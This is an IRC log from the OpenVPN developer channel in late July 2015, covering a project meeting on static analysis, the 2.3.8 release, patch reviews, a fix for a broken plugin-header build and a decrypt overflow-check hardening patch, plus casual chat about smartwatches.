mattock1] by ChanServ 11:41 <@cron2> (literally) 12:46 <@mattock1> anything to add to the agenda? https://community.openvpn.net/openvpn/wiki/Topics-2015-07-27 12:46 <@vpnHelper> Title: Topics-2015-07-27 – OpenVPN Community (at community.openvpn.net) 12:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:04 <@syzzer> mattock: I think there's enough on the agenda :) 13:04 <@mattock1> probably :) 13:04 <@mattock1> cron2: you here? 13:04 <@cron2> no 13:05 <@cron2> first bullet: yes, all for it. The catch is (as with coverity) - "someone needs to actually look at the results" 13:05 * cron2 sort of volunteers 13:06 <@mattock1> ok, topic #1 covered 13:06 <@syzzer> nice 13:06 <@mattock1> we've managed to look at buildbot warnings, so these cppcheck warnings/errors would not be any different 13:06 <@syzzer> I'll look into coverity in the mean while 13:07 <@mattock1> coverity, on the other hand, is an external service that needs pampering 13:07 <@syzzer> looks very promising too 13:07 <@mattock1> yeah, if it can (now) track a Git repo then it would be quite useful 13:07 <@mattock1> it produces lots of noise though 13:07 <@mattock1> topic #2? 13:08 <@mattock1> http://sourceforge.net/p/openvpn/mailman/message/34249691/ 13:09 <@mattock1> I don't think that email from Jan got any response 13:09 <@mattock1> unless it was discussed here 13:09 <@cron2> no, but I think I understand what the manpage is trying to say 13:09 <@cron2> --verify-x509-name is subject to different --compat-names rules than --tls-remote 13:10 <@cron2> but they server similar purposes 13:11 <@mattock1> ok, so nothing to fix then... I also think the man-page is pretty clear 13:11 <@mattock1> move on to topic #3: 2.3.8 release (when, what else to include)? 13:11 <@cron2> --tls-remote actually says "this is deprecated, go use --verify-x509-name" 13:13 <@cron2> on 2.3.8 - we have a number of important bugfixes in there, and should release it "soonish". Of course there's tons of bugs with milestone 2.3.8, but there seems to be little traction right now in working on them, so I'd do 2.3.8 soon, and bump the bugs to 2.3.9 then 13:13 <@mattock1> +1 13:13 <@syzzer> agreed 13:13 <@cron2> so, when could you do a release? 13:14 <@mattock1> I'm traveling and I had to turn my server off, but next Monday would work 13:14 <@cron2> that's not soonish :-) - that is "NEXT WEEK!" 13:14 <@mattock1> :D 13:14 <@cron2> ok, so I'll tag and push as soon as you tell me to - I'm around 13:15 <@cron2> maybe someone feels like fixing a bug in the meantime :-) 13:15 <@syzzer> I think plaisthos patch of today should go in 13:15 <@mattock1> (I need the server to produce Debian packages) 13:15 <@cron2> what did plaisthos send? 13:15 * cron2 looks 13:15 <@syzzer> 2.3.8 will be a 'fix stuff syzzer broke' release :') 13:16 <@mattock1> syzzer: well, you're being doing important work in a codebase that is, as James says, "entangled" 13:16 <@cron2> shall we introduce nicknames? :) 13:16 <@mattock1> Breaky Brunch? 13:17 <@mattock1> uh, I'm not so sure :P 13:17 <@cron2> so what plaisthos found is a corner case with a certificate that is *just* the right lenght in bytes and then breaks sanitation later on? 13:17 <@cron2> besides, looks reasonable 13:17 <@syzzer> it will break the parsing 13:18 <@syzzer> so a certificate with *just* the right size won't work 13:18 <@cron2> yeah, that's what I meant 13:18 <@syzzer> no security issue at all, but still a bit nasty 13:18 <@cron2> is that an ACK? 13:18 <@cron2> (I'll remove the extra blank line...) 13:18 <@syzzer> yes, that mail was meant as an ACK :) 13:19 <@cron2> haven't seen "that mail" yet :) - my mail server was down due to power outage and mail seems to be slightl slow with spamassassin fighting lack of RAM, or such 13:19 <@syzzer> hmm 13:19 <@syzzer> might be my fault 13:20 <@syzzer> yep, sent it so plaisthos only 13:20 <@syzzer> I'll resend 13:20 <@cron2> lol 13:22 <@mattock1> btw. tickets for milestone 2.3.8: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=release+2.3.8&col=id&col=summary&col=status&col=owner&col=type&col=priority&col=milestone&order=priority 13:22 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 13:23 <@vpnHelper> RSS Update - gitrepo: reintroduce md5_digest wrapper struct to fix gcc warnings <https://github.com/OpenVPN/openvpn/commit/2dd6501e3d679046a1ed488f22d62defdf737cf3> 13:24 <@mattock1> has anyone seen dazo or is he completely on vacation? 13:25 <@mattock1> he promised to review Tim's patches at some point, and many of the to-be-reviewed patches are from dazo 13:27 <@syzzer> I think Tim mentioned dazo didn't manage to do the review before his vacantion 13:27 <@syzzer> so it will take a bit longer 13:27 <@syzzer> but we might be able to review some of dazo's patches 13:28 <@mattock1> shall we move on to those, or is there something about 2.3.8 we'd need to cover? 13:28 <@cron2> 2.3.8 is covered "next monday" 13:29 <@mattock1> good 13:29 <@mattock1> so dazo's patches 13:30 <@syzzer> looking at http://thread.gmane.org/gmane.network.openvpn.devel/9906 now 13:30 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:30 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/9906 13:30 <@syzzer> we should really bump master to 2.4_git I think 13:30 <@mattock1> lol :) 13:30 <@mattock1> +1 13:30 <@syzzer> the 2.3_git is quite confusing 13:31 <@cron2> +1 13:31 < TimSmall> mattock1: I got the impression that dazo was fully away on family holiday for 1+ week. 13:31 <@cron2> ecrist: could you give vpn-helper a slap, when time permits? it's refusing to show git commits... 13:32 <@mattock1> hi TimSmall! 13:32 <@mattock1> TimSmall: I see... hopefully he'll hav some time after that 13:33 <@vpnHelper> RSS Update - gitrepo: Fix commit e473b7c if an inline file happens to have a line break exactly at buffer limit <https://github.com/OpenVPN/openvpn/commit/d40cbf0e2601b35bfb1c0551c6f3907b5c5178ff> 13:34 <@cron2> oh? that is... interesting 13:34 <@cron2> and what branch is it monitoring now? 13:34 <@cron2> this is a "master" commit, but it missed the one before that... 13:36 <@syzzer> ok, so I think 9906 looks fine, but I don't really like that the patch level needs a dot in the variable... 13:36 <@syzzer> (or an underscore) 13:37 <@syzzer> but I guess we can change that in a follow-up commit if needed. dazo's version sticks to what we have now nicely 13:38 <@cron2> where's the dot? 13:39 <@syzzer> he now does +define([PRODUCT_VERSION_PATCH], [_git]) 13:39 <@syzzer> which would become define([PRODUCT_VERSION_PATCH], [.0]) for a x.y.0 release 13:40 <@cron2> ah, ic 13:40 <@mattock1> there's probably no easy way around that 13:41 <@mattock1> even though I agree it's a bit nasty 13:41 <@mattock1> syzzer: so ACK to both of dazo's patches? 13:41 <@cron2> well, if we insist on keep "2.3_git", no. If we make that "2.4.git"... 13:42 <@syzzer> exactly, but I'll treat that as a separate issue from dazo's patches 13:42 <@cron2> (but it would still be somewhat unclear what "2.4.git" acutally is - "release/2.4"? 13:42 <@syzzer> mattock1: for now I just looked at 1/2 13:42 <@mattock1> syzzer: ok 13:42 <@syzzer> I'll send an ACK for that to the list 13:43 <@cron2> PRODUCT_VERSION_PATCH actually gets replaced by a commit id somewhere in the sausage machinery 13:44 <@cron2> good enough for me 13:48 <@mattock1> how does patch 2/2 look? 13:49 <@syzzer> looks good to me 13:49 <@syzzer> though I don't fully grasp the plugin philosophy, but I guess that's dazo's job 13:50 <@cron2> interesting 13:50 <@cron2> the patch has a file rename in it, which git is happy to do, but when I do "git diff HEAD~1" I get the full "this file gone, this file new!" output 13:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:51 <@syzzer> yeah, not all tools seem to handle that equally well 13:51 <@syzzer> gitk usually does get it 13:52 <@cron2> ah, diff needs "-M" or a global switch. Fun 13:54 <@syzzer> in 2/2, I don't get why the 'AC_DEFINE's follow the 'AC_SUBST's, instead of replacing them 13:55 <@cron2> dazo commented on that in IRC 13:55 <@cron2> AC_DEFINE is for one sort of thing, AC_SUBST for something else (like, .h and "other text processing") 13:56 <@syzzer> ah, okay 13:57 <@cron2> I won't claim to be an autoconf guru, but that sort of makes sense - one ends up in config.h, the other can be used for .h.in->.h processing, or so 13:57 <@cron2> (config.h is always generated, openvpn-plugin.h is now text-edited from openvpn-plugin.h.in) 13:58 <@syzzer> ok, sounds reasonable (and like you're in a better position to ACK it than I am) 14:02 <@mattock1> dazo's patches covered then? 14:02 <@cron2> first half 14:02 <@syzzer> I am getting build errors now 14:03 <@mattock1> so no ACK yet for 2/2 14:03 <@cron2> syzzer: what? 14:03 <@syzzer> missing openvpn-plugin.h 14:03 <@cron2> you'll need to autoreconf 14:03 <@syzzer> looking into it, but this configure stuff is so sloooow 14:03 <@cron2> I always thought this is my ancient machine :) 14:04 <@syzzer> I did an "autoreconf -vi" 14:04 <@syzzer> but I'm doing out-of-source builds, maybe that causes it 14:05 <@vpnHelper> RSS Update - gitrepo: Provide OpenVPN runtime version information to plug-ins <https://github.com/OpenVPN/openvpn/commit/6a40276c7500c2d0a2fe44b1a450ffe9cb2f37cd> || Provide compile time OpenVPN version information to plug-ins <https://github.com/OpenVPN/openvpn/commit/9de35d4633ce3035b048957b2e20b81e31a40cd6> 14:06 <@cron2> running -vif now... sloowwww... 14:06 <@cron2> (and I always build out of tree) 14:09 <@cron2> config.status: creating include/openvpn-plugin.h 14:11 <@syzzer> yes, but it does that in the build dir, and that include is not in the -I list (at least for me) 14:11 <@syzzer> don't you still have an openvpn-plugin.h in you source tree/ 14:12 <@cron2> ah 14:12 <@cron2> no 14:12 <@cron2> the version in the source tree got renamed to .h.in 14:13 <@cron2> ./openvpn/include/openvpn-plugin.h.in 14:13 <@cron2> ./test-build-master/include/openvpn-plugin.h 14:14 <@syzzer> hmm, okay, and that does still work for you? must be something in my setup than 14:14 <@cron2> I do get a warning about src/openvpn/plugin.c, though 14:14 <@cron2> ../../../openvpn/src/openvpn/plugin.c: In function 'plugin_open_item': 14:14 <@cron2> ../../../openvpn/src/openvpn/plugin.c:393:53: warning: excess elements in struct initializer [enabled by default] PACKAGE_VERSION, ^ 14:15 <@cron2> ... which hints at "it finds something, but not what it is looking for" 14:15 <@cron2> /usr/include/openvpn-plugin.h 14:15 <@cron2> yeah 14:15 <@cron2> not 14:15 <@cron2> grrr 14:15 <@syzzer> ah, okay, so it is the missing include 14:16 <@cron2> ../../../openvpn/src/openvpn/plugin.h:38:28: fatal error: openvpn-plugin.h: No such file or directory 14:16 <@cron2> bam 14:17 <@cron2> *grumble*... once for a change I just merge and push, and then I get to revert... 14:17 <@syzzer> or we'll just seek for the fix en commit that :) 14:19 <@mattock1> that might be a better idea 14:20 <@mattock1> at least if the fix is fairly trivial 14:20 <@syzzer> well, it *is* autoconf... 14:23 <@mattock1> so autoconf -trivial 14:26 <@cron2> some magic addition to a magic file to teach it "use -I$(topdir)/include as well"... while that would be ugly (yet another -I../../xxx on the command line) it would at least work... 14:28 <@mattock1> need we discuss this further today? 14:28 <@cron2> well, master does not compile, so it would good to commit a fix to that 14:28 <@mattock1> syzzer: thoughts? 14:29 <@mattock1> ah, lovely, buildslaves failing 14:29 <@cron2> http://stackoverflow.com/questions/20230827/how-to-set-include-paths-with-autotools 14:29 <@vpnHelper> Title: autoconf - how to set include paths with autotools - Stack Overflow (at stackoverflow.com) 14:29 <@mattock1> I agree this needs a quick fix or revert 14:30 <@cron2> "I've read about 3 hours worth of documents and can't figure it out"... 14:30 <@cron2> yay :) 14:30 <@syzzer> moving openvpn-plugin.h out of 'include' may work 14:30 <@syzzer> it seems to work for config.h and config-version.h 14:32 <@cron2> which implies moving + changing Makefile.am and include/Makefile.am 14:34 <@syzzer> aargh, this mess... 14:34 <@mattock1> (I'll be back in ~10 minutes, but I doubt I would be of much help anyways) 14:39 <@cron2> well, it's either "move openvpn-plugin.h.in upwards, adapt Makefile.am, configure.ac, include/Makefile.am" or "add -I../../include to AM_CPPFLAGS in Makefile.am"... 14:39 <@cron2> both stink 14:40 <@syzzer> the -I needs some reference to the build dir, right? 14:41 <@cron2> well, you need to know on which level you are relativ to the build top dir 14:41 <@syzzer> ah, no, since pwd is in the build dir 14:41 <@syzzer> right 14:41 <@cron2> so in src/openvpn/Makefile, you'd add "../../include" 14:41 <@syzzer> probably the best option 14:41 <@cron2> and in the plugins directories, -I../../../include (if I'm counting right) 14:41 <@cron2> but the plugins actually built (but maybe that was due to the old /usr/include file) 14:43 <@syzzer> I think so, plugins bork for me too 14:46 <@cron2> ok, my version seems to compile as well now. So what is "the way to go"? 14:47 <@syzzer> what is 'your version'/ 14:47 <@cron2> mv include/openvpn-plugin.h.in . 14:47 <@cron2> adapt configure.ac, Makefile.am, include/Makefile.am to find it there 14:47 <@cron2> not add -I statements 14:48 <@syzzer> fine by me 14:48 <@syzzer> I can test and ACK as soon as it's on the list 14:50 <@mattock1> great! 14:50 <@cron2> let me remove include/Makefile.am cmpletely and try rebuilding 14:52 <@syzzer> ok... so I got yet another fix 14:53 <@syzzer> move openvpn-plugin.h from AC_CONFIG_FILES to AC_CONFIG_HEADERS 14:53 <@syzzer> (in configure.ac) 14:53 <@cron2> what? 14:53 <@syzzer> it will automatically add the required -I../../../../../../ stuff 14:54 <@syzzer> still clutters the command like, but not the Makefile.am files 14:54 <@cron2> so it's a one-liner, adding "include/openvpn-plugin.h" there? 14:54 <@syzzer> two-liner: also removing it from AC_CONFIG_FILES 14:54 <@cron2> well, two 14:54 <@cron2> yeah 14:54 <@syzzer> yep 14:55 <@cron2> if that works, I think it's nicer... you send mail, I ack and merge (and test :) ) 14:55 <@syzzer> http://pastebin.com/ze6ZQYSe 14:56 <@syzzer> I'll send the mail 14:56 * cron2 waits for autoconf... 14:59 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has quit [Quit: Leaving.] 15:00 <@syzzer> on the list 15:01 <@cron2> I really need a faster machine 15:04 <@syzzer> throw in an ssd, it really helps 15:04 <@mattock1> +1 15:04 <@mattock1> I would not go back to a spinning disk anymore 15:04 <@cron2> repeated configure/autoconf runs should all come from buffer cache anyway... 15:05 <@cron2> but not having a 5-year-old atom CPU would help :) 15:05 <@cron2> (laptop has a SSD, configure is still slow...) 15:05 <@mattock1> definitely not :) 15:07 <@cron2> so. Next topic! 15:07 <@syzzer> whee 15:07 <@mattock1> yeah! 15:07 <@mattock1> did janjust resend his patches? 15:07 <@mattock1> new versions of them I mean 15:07 <@syzzer> I would like to pitch the overflow patch 15:08 <@syzzer> we really need to do something with Sebastians findings 15:09 <@mattock1> what's the status of the overflow patch exactly? 15:09 <@mattock1> this one? http://article.gmane.org/gmane.network.openvpn.devel/9842 15:09 <@vpnHelper> RSS Update - gitrepo: Fix out-of-tree builds; openvpn-plugin.h should be in AC_CONFIG_HEADERS <https://github.com/OpenVPN/openvpn/commit/0a51c4f152d0f695a6fb8b605dbfefca65e63838> 15:09 <@syzzer> sent to the list for reveiw 15:09 <@vpnHelper> Title: Gmane -- PATCH Fix overflow check in openvpn decrypt (at article.gmane.org) 15:09 <@syzzer> yes 15:09 <@cron2> it would be nice to get an ACK from plaisthos here, he understands the crypto subtleties better than I do 15:10 <@mattock1> maybe jamesyonan? 15:10 <@cron2> yeah, but james seems to be as busy as usual 15:11 <@mattock1> I saw him pop in the company chat earlier today 15:11 <@mattock1> but he's not there anymore 15:11 <@mattock1> I can forward the email to him nevertheless 15:11 <@mattock1> he just might review it, as it's probably interesting to him 15:11 <@syzzer> I do have a question regarding this patch. On second thought, I think the decrypt code should have more ASSERT()s instead of CRYPT_ERROR()s, at least if we are actually writing outside buffers (which, for clarity, we currently do *not* do, it is just hardening) 15:11 <@plaisthos> cron2: ack for what? 15:12 <@plaisthos> I just arrived from sport 15:12 <@mattock1> ah, plaisthos, hi! 15:12 <@cron2> ah, cool :) 15:12 <@cron2> what does a CRYPT_ERROR() do? 15:12 <@syzzer> 'return error, continue with next packet' 15:13 <@plaisthos> cron2: my users did find the obscure cornercase and provided me with a config that breaks 15:13 <@cron2> well, it would be safe (since we check before overflowing), right? But it might go unnoticed 15:13 <@cron2> plaisthos: your users are great :-) - already ACKed and merged 15:13 <@syzzer> there is the primary overflow check, which should be CRYPT_ERROR() for decrypt to avoid DoS 15:14 <@syzzer> but the 'secondary' checks I added as a hardening measure should probably be ASSERT()s 15:15 <@syzzer> those really are for the case we (I) screwed up the primary check 15:16 <@cron2> sounds reasonable 15:17 <@mattock1> I sent a mail to James 15:17 <@syzzer> ok, I'll resend tomorrow. Don't have my work laptop with me. 15:23 <@mattock1> ok, anything else? it's getting quite late 15:23 * cron2 is game over 15:23 * syzzer too 15:24 <@syzzer> well at least we finally got some of dazo's patches in :) 15:24 <@cron2> yeah :) 15:25 <@mattock1> syzzer: what exactly will you resend tomorrow? (for the summary) 15:25 <@syzzer> the openvpn_decrypt() overflow check patch 15:26 <@syzzer> http://article.gmane.org/gmane.network.openvpn.devel/9842 15:26 <@vpnHelper> Title: Gmane -- PATCH Fix overflow check in openvpn decrypt (at article.gmane.org) 15:26 <@mattock1> ic 15:26 <@mattock1> good enough for me, so good night guys! 15:26 <@syzzer> good night! 15:27 <@cron2> good night! 15:27 <@cron2> (now why are my opensolaris builds fialing?) 15:27 <@mattock1> oh, next meeting in two weeks? 15:27 <@cron2> yep 15:27 <@mattock1> great! mentioning that in the summary... 15:29 <@cron2> what the hell... 15:29 <@cron2> include/Makefile is now complained about with 15:29 <@cron2> Making all in include 15:29 <@cron2> make: Fatal error in reader: Makefile, line 494: Unexpected end of line seen 15:30 <@cron2> gmake is fine, Solaris make barfs 15:31 <@cron2> ach fuu... 15:31 <@cron2> MAINTAINERCLEANFILES = \ 15:31 <@cron2> $(srcdir)/Makefile.in 15:31 <@cron2> + $(srcdir)/openvpn-plugin.h.in 15:31 <@cron2> I think there should be a "\" in the line before that... 15:32 <@mattock1> highli likely 15:33 <@mattock1> summary away 15:33 <@cron2> yeah 15:33 <@cron2> *sigh* 15:33 <@mattock1> a separate testing tree + manual buildbot builds might be a good idea 15:34 <@mattock1> push to testing first, build, if nothing break -> push to master 15:34 <@mattock1> anyways, I need to split, almost midnight here 16:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 16:12 <@vpnHelper> RSS Update - gitrepo: Fix build on OpenSolaris (non-gmake) <https://github.com/OpenVPN/openvpn/commit/710c439817522ac8f4dfa7411baa787c5e2e2f89> 17:40 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 20:13 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:58 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] 20:59 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Tue Jul 28 2015 03:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:11 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:39 <@mattock1> I'm downloading the "historic" openvpn releases from SF.net, then I will put them to build and swupdate 03:39 <@mattock1> then I'll nuke all file downloads from SF.net 03:40 <@mattock1> the latest release on SF.net is 2.0_rc18, so the files are mostly of historic interest 04:10 <@cron2> thanks 04:35 <@mattock1> interestingly deleting files using the SF.net file browser gives an error 04:35 <@mattock1> I'm trying to get in via SSH and delete the files that way, but so far no luck 05:25 <@cron2> plaisthos: which android smartwatch would you recommend? 05:50 <@mattock1> hmm, sourceforge shell services don't let me in 05:51 <@plaisthos> cron2: I have the moto 360 which is nice but old 05:51 <@plaisthos> generally pick one you like the design 05:52 <@plaisthos> the newest one is the lg urban 05:53 <@plaisthos> there also square watches which I did not pay any attention too since I don't like square watches 06:21 <@cron2> what does "old" imply here, as in "what can the newer one better"? 06:23 <@plaisthos> cron2: the moto 360 has a lcd screen instead of an amoled 06:23 <@plaisthos> and a 3-4 year old Soc 06:23 <@cron2> ic 06:23 <@cron2> is "lg urban" = "LG watch R"? 06:24 <@plaisthos> no 06:24 <@plaisthos> that are two different ones 06:24 <@plaisthos> lg watch r is a bit older 06:24 <@cron2> google search for "lg urban" always points me at "watch R" apges... 06:24 <@plaisthos> and has a different design 06:24 <@plaisthos> sorry urbane: http://www.lg.com/us/smartwatch/urbane 06:24 <@vpnHelper> Title: LG Watch Urbane: Discover LG's Premium Smartwatch | LG USA (at www.lg.com) 06:25 <@cron2> ah, here we go... W150 instead of W110 06:26 <@cron2> seems to have a fairly big case around the display, unlike the moto which is "all up to the border" 06:26 <@plaisthos> cron2: yes 06:26 <@plaisthos> but the moto 360 has the "flat tire" 06:27 <@plaisthos> in the end it comes down to what you really want 06:27 <@cron2> ok, total no go :-) - display is small enough to afford wasting space 06:27 <@cron2> I'm toying with the idea of a smartwatch mostly as navigation thingie for cycling (where using the N7 or anything else not tied to my wrist is really impractical) 06:28 <@cron2> so "large display" but "not so large watch" 06:28 <@plaisthos> then probably moto 360 isn't the best anyway 06:28 <@plaisthos> the amoled watches have an always on mode 06:28 <@plaisthos> and the lcd moto 360 does not have it 06:29 <@cron2> and of course, "does not look like a telephone strapped to your wrist" :-) 06:29 <@plaisthos> (in amoled you can power just the few pixels you need for a b/w display and a lcd needs to be powered fully) 06:29 <@cron2> ack 06:29 <@plaisthos> the sony smartwatch 3 is a very sporty watch 06:30 <@plaisthos> the only difference between different smartwaches from the software side are preinstalled watchfaces 06:30 <@cron2> comes in bright green :) 06:30 <@plaisthos> and maybe one odd moto fitness tracker app 06:31 <@cron2> now... do I want a bright green watch, or more discrete... 06:34 <@plaisthos> :D 06:34 <@plaisthos> cron2: you should also go to some store and look at the watch and see if it fits your wrist 06:34 <@cron2> oh, they even have pink 06:35 <@plaisthos> the moto 360 is too large for small petite women 06:35 <@cron2> well, unless the band is really short, "fit" should not be an issue - have very massive wrists 06:35 * cron2 <- neither small nor petite nor woman :) 06:36 <@plaisthos> yeah, I more meant that it silly ;) 06:37 <@cron2> *g* 06:40 <@plaisthos> there is also the asus zenwatch 06:40 <@cron2> where's the difference to the sony 3 (except design) 06:40 <@plaisthos> which do not much about 06:40 <@plaisthos> argh 06:40 <@plaisthos> +know 06:44 <@cron2> ok, let's see :-) ordered a SW3 in black, my wife veto'ed the greenish one 06:59 <@plaisthos> :D 06:59 <@plaisthos> Iirc the watch is always the same 07:00 <@plaisthos> it is only the band that has the colour 07:00 <@plaisthos> you can always order the pink one later *duck* 07:11 <@mattock1> lo and behold: OpenVPN 1.0.2: http://build.openvpn.net/downloads/releases/ 07:11 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 07:12 <@mattock1> oh, there's also 1.0 07:31 <@plaisthos> :) 07:33 <@plaisthos> speaking of downloads 07:33 <@plaisthos> my mostdownloaded version from plai.de/android is ics-openvpn-0.6.31pre-min-mtu-1280.apk 07:33 * plaisthos wonders why people would pick such a strange version ... 07:35 < esde> It's the one on top? 07:36 <@cron2> plaisthos: that is before the "increase mtu for control packets" patch? 07:37 <@plaisthos> esde: probably 07:37 <@plaisthos> cron2: yes 07:38 <@plaisthos> cron2: was for github issue, try this see if it helps 07:52 <@cron2> plaisthos: so your regular release has the big MTU patch now? Have you heard about any breakage? 07:57 <@plaisthos> cron2: lemme check 08:00 <@plaisthos> no current version does not have it 08:00 <@plaisthos> next version will 08:00 <@mattock1> for once some new information about the UNIX shell: http://www.cyberciti.biz/faq/unix-linux-bash-find-out-the-exit-codes-of-all-piped-commands/ 08:00 <@vpnHelper> Title: Bash: Find out the exit codes of all piped commands (at www.cyberciti.biz) 08:01 <@mattock1> not that I've ever needed that, but I see that could be useful sometimes 08:13 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 08:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:53 <@ecrist> cron2: it looks to me like vpnHelper is reading git commits just fine... 08:53 <@ecrist> am I missing something? 09:57 <@cron2> ecrist: yeah, shortly after I complained it just returned to working perfectly :-) - friday's commits sort of never showed up 11:00 <@cron2> yay, windows software... you pay for a windows program, and then it *still* tries to shit yahoo toolbar + yahoo search engine on your hard disk 11:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] 12:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 14:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:52 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 21:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jul 29 2015 00:54 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Read error: Connection reset by peer] 01:01 -!- reators [~holger@2001:1a80:2000:2:cd0d:642a:3a47:3509] has joined #openvpn-devel 05:16 -!- reators [~holger@2001:1a80:2000:2:cd0d:642a:3a47:3509] has quit [Ping timeout: 244 seconds] 05:18 -!- reators [~holger@2001:1a80:2000:2:d0e8:6449:7aea:821e] has joined #openvpn-devel 06:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Quit: reboot needed] 06:22 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:46 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 256 seconds] 07:49 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 09:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 09:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 11:02 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 12:07 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:58 -!- firetoad [~firetoad@c-73-34-207-143.hsd1.co.comcast.net] has joined #openvpn-devel 14:06 <@cron2> plaisthos: have the sony watch now. Fun thing to play with, but trying to understand which bits the watch can do "on its own", which bits need the N7 to help, and which bits need N7+Internet is a bit of a challenge :-) 15:54 <@cron2> (and the fact that google native calendar cannot be viewed on the watch sucks big time) 16:06 <@vpnHelper> RSS Update - tickets: #583: Up and down scripts need to be informed of tun-ipv6 setting <https://community.openvpn.net/openvpn/ticket/583> 16:18 <@vpnHelper> RSS Update - tickets: #584: Please add `ifconfig_netbits` environment variable for IPv4 <https://community.openvpn.net/openvpn/ticket/584> 20:37 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 21:24 -!- firetoad [~firetoad@c-73-34-207-143.hsd1.co.comcast.net] has quit [Ping timeout: 265 seconds] 22:52 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 22:55 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Thu Jul 30 2015 02:28 -!- faern [~faern@irc.jagochmittmoln.se] has joined #openvpn-devel 03:56 <@plaisthos> cron2: oh yeah, the watch is more a companion device your smartphone/tablet than a device on its own 03:56 <@plaisthos> I probably should have warned you about that 03:57 * plaisthos just thought that you have a android smartphone 06:25 <@cron2> plaisthos: I was aware of that :-) - main usage is "bicycle navigation aid", and I'm happy to pack the N7 and the mobile router into the saddle bags for that. But the fact that this thing actually does WLAN now and "sort of independent of the main device" does certain things *is* fairly amazing 06:25 * cron2 will have tons of user questions for plaisthos in Delft :) 06:48 <@cron2> why on why... 06:48 <@cron2> OpenVPN 2.1.3 arm-fsl-linux-gnueabi [SSL] [LZO2] [EPOLL] built on Jul 29 2015 06:53 <@plaisthos> cron2: but wifi support is kind of stupid 06:54 <@plaisthos> it acutally only builds a tunnel to your device over the google cloud 06:54 <@plaisthos> and you have to share your notification data with google 06:54 <@plaisthos> cron2: at least we now know that 2.1.3 builds with the newest openssl version 06:57 <@syzzer> plaisthos: 1.0.1g is not exactly newest ;) 07:00 <@cron2> but 1.0.1<x> generally speaking... 07:01 <@cron2> plaisthos: google maps seems to work nicely with "just local wlan" - which I find quite useful. (My N7 was busy updating itself to 5.1.0-ish, so I'm sure it was not involved) 07:23 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 07:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:44 <@cron2> http://blog.zimperium.com/how-to-protect-from-stagefright-vulnerability/ 07:44 <@cron2> yay 07:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 09:11 <@plaisthos> wow, android wifi hotspot gave my notebook a public ipv6 address 09:23 <@cron2> \o/ 09:31 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 09:33 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:33 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 09:37 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 10:52 -!- txdv [~unreal@78-56-71-41.static.zebra.lt] has joined #openvpn-devel 10:53 < txdv> there was a cpp implementation of a client library? 10:54 <@plaisthos> yes 10:54 <@plaisthos> under agpl3 10:55 